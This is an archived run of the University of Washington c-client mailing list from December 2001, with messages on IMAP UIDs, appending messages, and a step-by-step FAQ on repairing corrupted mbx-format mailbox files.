with SMTP id fBIFDdn88056 for ; Tue, 18 Dec 2001 07:13:39 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Dec 18 07:13:38 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBIFDcm1017791 for ; Tue, 18 Dec 2001 07:13:38 -0800 Message-Id: Date: Tue, 18 Dec 2001 07:12:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: re: mail_append() In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Dec 2001 14:18:54 +0000 (GMT), Mark Elvers wrote: > I'm using mail_append() to keep a copy of my sent messages, hence I have > my Outbox 'selected' - is there some way that I can be 100% certain > which UID was allocated to the newly created message Sentbox message? Fetch the envelopes of newly-appended message(s), and look for the Message-ID that you appended. From pinedev@shivax2.cac.washington.edu Fri Dec 21 16:50:49 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Dec 2001 16:50:49 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBM0omV6017298 for ; Fri, 21 Dec 2001 16:50:48 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 21 16:50:39 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBM0od11009419; Fri, 21 Dec 2001 16:50:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBM0oT230712; Fri, 21 Dec 2001 16:50:29 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBM0ksn21634 for ; Fri, 21 Dec 2001 16:46:54 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Dec 21 16:46:53 2001 -0800 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBM0krTA022007 for ; Fri, 21 Dec 2001 16:46:53 -0800 Received: from [192.168.1.8] (router.toadophile.com [192.168.1.1]) by toadophile.com (8.10.2/8.10.2) with ESMTP id fBM0kq500382 for ; Fri, 21 Dec 2001 16:46:52 -0800 (PST) Message-Id: Date: Fri, 21 Dec 2001 16:46:51 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: Re: imapd + Outlook = In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN One of my INBOX files bit the dust today, I think courtesy of Outloook Express. Here the is error I get when trying to use the file: SELECT failed: Unable to find CRLF at 2827154 in 64 bytes, text: . Does anyone know what can be done to resurrect it? The info still appears to be intact, but I get errors when trying to access it via a client, or trying to use mbxcopy INBOX #driver.mbx:backup Help! -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Fri Dec 21 16:58:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Dec 2001 16:58:09 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBM0w8V6030641 for ; Fri, 21 Dec 2001 16:58:08 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Dec 21 16:58:05 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBM0w5pr003979; Fri, 21 Dec 2001 16:58:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBM0vs524410; Fri, 21 Dec 2001 16:57:54 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBM0twn152746 for ; Fri, 21 Dec 2001 16:55:58 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Dec 21 16:55:57 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBM0tv3F023937 for ; Fri, 21 Dec 2001 16:55:57 -0800 Message-Id: Date: Fri, 21 Dec 2001 16:53:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 21 Dec 2001 16:46:51 -0800, Mark Edwards wrote: > One of my INBOX files bit the dust today, I think courtesy of Outloook > Express. Outlook Express or no Outlook Express, it still isn't supposed to happen. > SELECT failed: Unable to find CRLF at 2827154 in 64 bytes, text: . > Does anyone know what can be done to resurrect it? Here's the FAQ topic/answer for this problem: Q: What do the error messages: Unable to read internal header at ... Unable to find CRLF at ... Unable to parse internal header at ... Unable to parse message date at ... Unable to parse message flags at ... Unable to parse message UID at ... Unable to parse message size at ... Last message (at ... ) runs past end of file ... mean? I am using mbx format. A: The mbx-format mailbox is corrupted and needs to be repaired. You should make an effort to find out why the corruption happened. Was there an obvious system problem (crash or disk failure)? Did the user accidentally access the file via NFS? Mailboxes don't get corrupted by themselves; something caused the problem. Some people have developed automated scripts, but if you're comfortable using emacs it's pretty easy to fix it manually. DON'T USE vi OR ANY OTHER EDITOR UNLESS YOU ARE CERTAIN THAT EDITOR CAN HANDLE BINARY!!! If you are not comfortable with emacs, or if the file is too large to read with emacs, see the "step-by-step" technique later on for another way of doing it. After the word "at" in the error message is the byte position it got to when it got unhappy with the file, e.g. if you see: Unable to parse internal header at 43921: ne bombastic blurdybloop The problem occurs at the 43,931 byte in the file. That's the point you need to fix. c-client is expecting an internal header at that byte number, looking something like: 6-Jan-1998 17:42:24 -0800,1045;000000100001-00000001 The format of this internal line is: dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU The only thing that is variable is the "ssss" field, it can be as many digits as needed. All other fields (inluding the "dd") are fixed width. So, the easiest thing to do is to look forward in the file for the next internal header, and delete everything from the error point to that internal header. Here's what to do if you want to be smarter and do a little bit more work. Generally, you're in the middle of a message, and there's nothing wrong with that message. The problem happened in the *previous* message. So, search back to the previous internal header. Now, remember that "ssss" field? That's the size of that message. Mark where you are in the file, move the cursor to the line after the internal header, and skip that many bytes ("ssss") forward. If you're at the point of the error in the file, then that message is corrupt. If you're at a different point, then perhaps the previous message is corrupt and has a too long size count that "ate" into this message. Basically, what you need to do is make sure that all those size counts are right, and that moving "ssss" bytes from the line after the internal header will land you at another internal header. Usually, once you know what you're looking at, it's pretty easy to work out the corruption, and the best remedial action. I generally don't use repair scripts because I prefer the flexibility of manual repair. Repair scripts will make the problem go away but may not always do the smartest/best salvage of the user's data. Here is a step-by-step technique for fixing corrupt mbx files that's a bit cruder than the procedure outlined above, but works for any size file. In this example, we will suppose that the corrupt file is INBOX, the error message is "Unable to find CRLF at 132551754", and the size of the INBOX file is 132867870 bytes. (1) Rename the INBOX file to some other name, such as INBOX.bad. (2) Copy the first 132,551,754 bytes of INBOX.bad to another file, such as INBOX.new. (3) Extract the trailing 316,116 bytes (132867870-132551754) of INBOX.bad into another file, such as INBOX.tail. (4) You no longer need INBOX.bad. Delete it. In other words, use the number from the "Unable to find CRLF at" as the point to split INBOX into two new files, INBOX.new and INBOX.tail. (5) Verify that you can open INBOX.new in IMAP or Pine. (6) The last message of INBOX.new is probably corrupted. Copy it to another file, such as badmsg.1, then delete and expunge that last message from INBOX.new (7) Locate the first occurance of text in INBOX.tail which looks like an internal header, as described above. Remove all the text which occurs prior to that point, and place it into another file, such as badmsg.2. Note that in the case of a single digit date, there is a leading space which must not be removed (e.g. " 6-Nov-2001" not "6-Nov-2001"). (8) Append INBOX.tail to INBOX.new. (9) You no longer need INBOX.tail. Delete it. (10) Verify that you can open INBOX.new in IMAP or Pine. You are now ready to reinstall INBOX.new as INBOX. If you haven't received any new messages while repairing INBOX, just rename INBOX.new to INBOX. Otherwise, be sure to copy the new messages from INBOX to INBOX.new before doing the rename. You now have INBOX, badmsg.1 and badmsg.2. There may be some useful data in the two badmsg files that you might want to try salvaging; otherwise you can delete the badmsg files. From pinedev@shivax2.cac.washington.edu Mon Dec 24 08:41:16 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 08:41:15 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOGfEV6016854 for ; Mon, 24 Dec 2001 08:41:15 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Dec 24 08:41:08 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOGf8pr028169; Mon, 24 Dec 2001 08:41:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOGem525782; Mon, 24 Dec 2001 08:40:48 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOGcNn124204 for ; Mon, 24 Dec 2001 08:38:23 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Dec 24 08:38:19 2001 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOGcJm1006598 for ; Mon, 24 Dec 2001 08:38:19 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16IXvm-00033F-00for ; Mon, 24 Dec 2001 10:26:26 -0600 Message-Id: <000501c18c99$66065320$6f03a8c0@bynari.net> Date: Mon, 24 Dec 2001 10:38:21 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "swalker" To: Subject: Modify email header on a IMAP server MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there anyway to modify a email message header on the IMAP server? I need to add my own header and value to a email header. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 24 08:46:23 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 08:46:22 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOGkLV6021439 for ; Mon, 24 Dec 2001 08:46:22 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Dec 24 08:46:15 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOGkF11001497; Mon, 24 Dec 2001 08:46:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOGk5218928; Mon, 24 Dec 2001 08:46:05 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOGjQn167998 for ; Mon, 24 Dec 2001 08:45:26 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 24 08:45:25 2001 -0800 Received: from mel-rto7.wanadoo.fr (smtp-out-7.wanadoo.fr [193.252.19.26]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOGjOTA000485 for ; Mon, 24 Dec 2001 08:45:25 -0800 Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto7.wanadoo.fr; 24 Dec 2001 17:45:24 +0100 Received: from sunset (193.253.226.227) by mel-rta8.wanadoo.fr; 24 Dec 2001 17:45:24 +0100 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 16IYE7-0000JZ-00 for ; Mon, 24 Dec 2001 17:45:23 +0100 Message-Id: Date: Mon, 24 Dec 2001 17:45:22 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: Modify email header on a IMAP server In-Reply-To: <000501c18c99$66065320$6f03a8c0@bynari.net> References: <000501c18c99$66065320$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Dec 2001 10:38:21 -0600 swalker wrote: s> Is there anyway to modify a email message header on the IMAP server? I s> need to add my own header and value to a email header. To the best of my knowledge, you can't modify the message in place. You may delete it and create a new one containing all the original headers plus your new one in addition though. Regards, VZ From pinedev@shivax2.cac.washington.edu Mon Dec 24 09:51:34 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 09:51:33 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOHpVV6029034 for ; Mon, 24 Dec 2001 09:51:32 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 24 09:51:25 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHpO11002893; Mon, 24 Dec 2001 09:51:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHpA568856; Mon, 24 Dec 2001 09:51:10 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHmpn124218 for ; Mon, 24 Dec 2001 09:48:51 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Dec 24 09:48:48 2001 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHmlVK024409 for ; Mon, 24 Dec 2001 09:48:48 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16IZ1z-00038C-00for ; Mon, 24 Dec 2001 11:36:55 -0600 Message-Id: <000001c18ca3$3ea6ef10$6f03a8c0@bynari.net> Date: Mon, 24 Dec 2001 11:48:50 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "swalker" To: Subject: RE: Modify email header on a IMAP server In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sent: Monday, December 24, 2001 10:45 AM > On Mon, 24 Dec 2001 10:38:21 -0600 swalker wrote: > > s> Is there anyway to modify a email message header on the IMAP server? > s> I need to add my own header and value to a email header. > > To the best of my knowledge, you can't modify the message in place. You may delete it and create a new one > containing all the original headers plus your new one in addition though. > > Regards, > VZ That is what I have been doing, copying the orignal message and adding my own header to the email header and call mail_append_full() and then delete the "old" message. What I was hoping was that I could just modify the header so that the UID doesn't change. I will just have to deal with just getting the new UID when I get a notify message. Thanks, Shawn From pinedev@shivax2.cac.washington.edu Mon Dec 24 09:57:18 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 09:57:17 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOHvGV6000761 for ; Mon, 24 Dec 2001 09:57:16 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Dec 24 09:57:10 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHvA11003018; Mon, 24 Dec 2001 09:57:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHv2525706; Mon, 24 Dec 2001 09:57:02 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHt6n124354 for ; Mon, 24 Dec 2001 09:55:06 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 24 09:55:06 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHt5TA008555 for ; Mon, 24 Dec 2001 09:55:06 -0800 Message-Id: Date: Mon, 24 Dec 2001 09:53:42 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: swalker Cc: c-client@u.washington.edu Subject: RE: Modify email header on a IMAP server In-Reply-To: <000001c18ca3$3ea6ef10$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Dec 2001 11:48:50 -0600, swalker wrote: > What I was hoping was that I could just > modify the header so that the UID doesn't change. That would defeat the entire purpose of UIDs if it were allowed. From pinedev@shivax2.cac.washington.edu Mon Dec 24 09:59:21 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 09:59:21 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOHxKV6032176 for ; Mon, 24 Dec 2001 09:59:20 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Dec 24 09:59:14 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHxE11003067; Mon, 24 Dec 2001 09:59:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHx2230482; Mon, 24 Dec 2001 09:59:02 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOHtXn16102 for ; Mon, 24 Dec 2001 09:55:33 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Dec 24 09:55:32 2001 -0800 Received: from mailgate.Cadence.COM (mailgate.Cadence.COM [158.140.2.1]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOHtWm1015455 for ; Mon, 24 Dec 2001 09:55:32 -0800 Received: from pony-express.cAdence.COM (pony-express.Cadence.COM [158.140.11.205]) by mailgate.Cadence.COM (8.9.3/8.9.3) with ESMTP id JAA22520; Mon, 24 Dec 2001 09:55:31 -0800 (PST) Received: from ghicks-dsl (ghicks-dsl [139.99.177.125]) by pony-express.cAdence.COM (8.10.1/8.8.5) with SMTP id fBOHtY511370; Mon, 24 Dec 2001 09:55:34 -0800 (PST) Message-Id: <200112241755.fBOHtY511370@pony-express.cAdence.COM> Date: Mon, 24 Dec 2001 09:55:30 -0800 (PST) Reply-To: Gregory Hicks Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gregory Hicks To: c-client@u.washington.edu, swalker@bynari.net Cc: ghicks@pony-express.cAdence.COM Subject: RE: Modify email header on a IMAP server MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: ozaNPw6S91CzdpiUg4AasA== X-Received: By mailgate.Cadence.COM as JAA22520 at Mon Dec 24 09:55:31 2001 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Date: Mon, 24 Dec 2001 11:48:50 -0600 > From: "swalker" > > That is what I have been doing, copying the orignal message and adding > my own header to the email header and call mail_append_full() and then [...xnip...] You could make a stab at modifying sendmail so that the message is modified when received. Sendmail receives the message, outputs the latest "Received: " line followed by the message... Add your header here. Regards, Gregory Hicks --------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 6B1 | Fax: 408.894.3479 San Jose, CA 95134 | Internet: ghicks@cadence.com "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff "The trouble with doing anything right the first time is that nobody appreciates how difficult it was." When a team of dedicated individuals makes a commitment to act as one... the sky's the limit. From pinedev@shivax2.cac.washington.edu Mon Dec 24 10:04:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Dec 2001 10:04:40 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBOI4dV6029326 for ; Mon, 24 Dec 2001 10:04:39 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Dec 24 10:04:34 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOI4Xpr029999; Mon, 24 Dec 2001 10:04:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOI4Pb19620; Mon, 24 Dec 2001 10:04:25 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBOI2Zn163000 for ; Mon, 24 Dec 2001 10:02:35 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 24 10:02:34 2001 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBOI2YTA009528 for ; Mon, 24 Dec 2001 10:02:34 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16IZFJ-00039p-00for ; Mon, 24 Dec 2001 11:50:41 -0600 Message-Id: <000701c18ca5$2b410b20$6f03a8c0@bynari.net> Date: Mon, 24 Dec 2001 12:02:36 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "swalker" To: Subject: RE: Modify email header on a IMAP server In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Sent: Monday, December 24, 2001 11:54 AM > > On Mon, 24 Dec 2001 11:48:50 -0600, swalker wrote: > > What I was hoping was that I could just > > modify the header so that the UID doesn't change. > > That would defeat the entire purpose of UIDs if it were allowed. Well, I know that the if a new message was put on the IMAP server a new UID would be created. But what I was hoping was for the IMAP server to be able to just modify the message on the server and that the UID would never change for that message. That way I don't have to just copy a email to modify the email header and add a new message on the IMAP server and delete the old one. So, I'm just going copy the email, modify it and mail_append_full() and delete the old one and get the new UID. Shawn From pinedev@shivax2.cac.washington.edu Thu Dec 27 10:35:31 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Dec 2001 10:35:29 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBRIZSV6018536 for ; Thu, 27 Dec 2001 10:35:28 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Dec 27 10:35:22 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRIZLpr004215; Thu, 27 Dec 2001 10:35:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRIZA211754; Thu, 27 Dec 2001 10:35:10 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRIWMn63536 for ; Thu, 27 Dec 2001 10:32:22 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Dec 27 10:32:21 2001 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRIWKTA027552 for ; Thu, 27 Dec 2001 10:32:20 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16Jf8Z-0005f0-00for ; Thu, 27 Dec 2001 12:20:15 -0600 Message-Id: <000001c18f04$d0d33bb0$6f03a8c0@bynari.net> Date: Thu, 27 Dec 2001 12:32:18 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "swalker" To: Subject: Why message number 1 and 2 have the same UID? In-Reply-To: <000701c18ca5$2b410b20$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When I call mail_uid(), message number 1 and 2 always return the same UID. Is there a bug or something? Or am I'm doing something wrong? 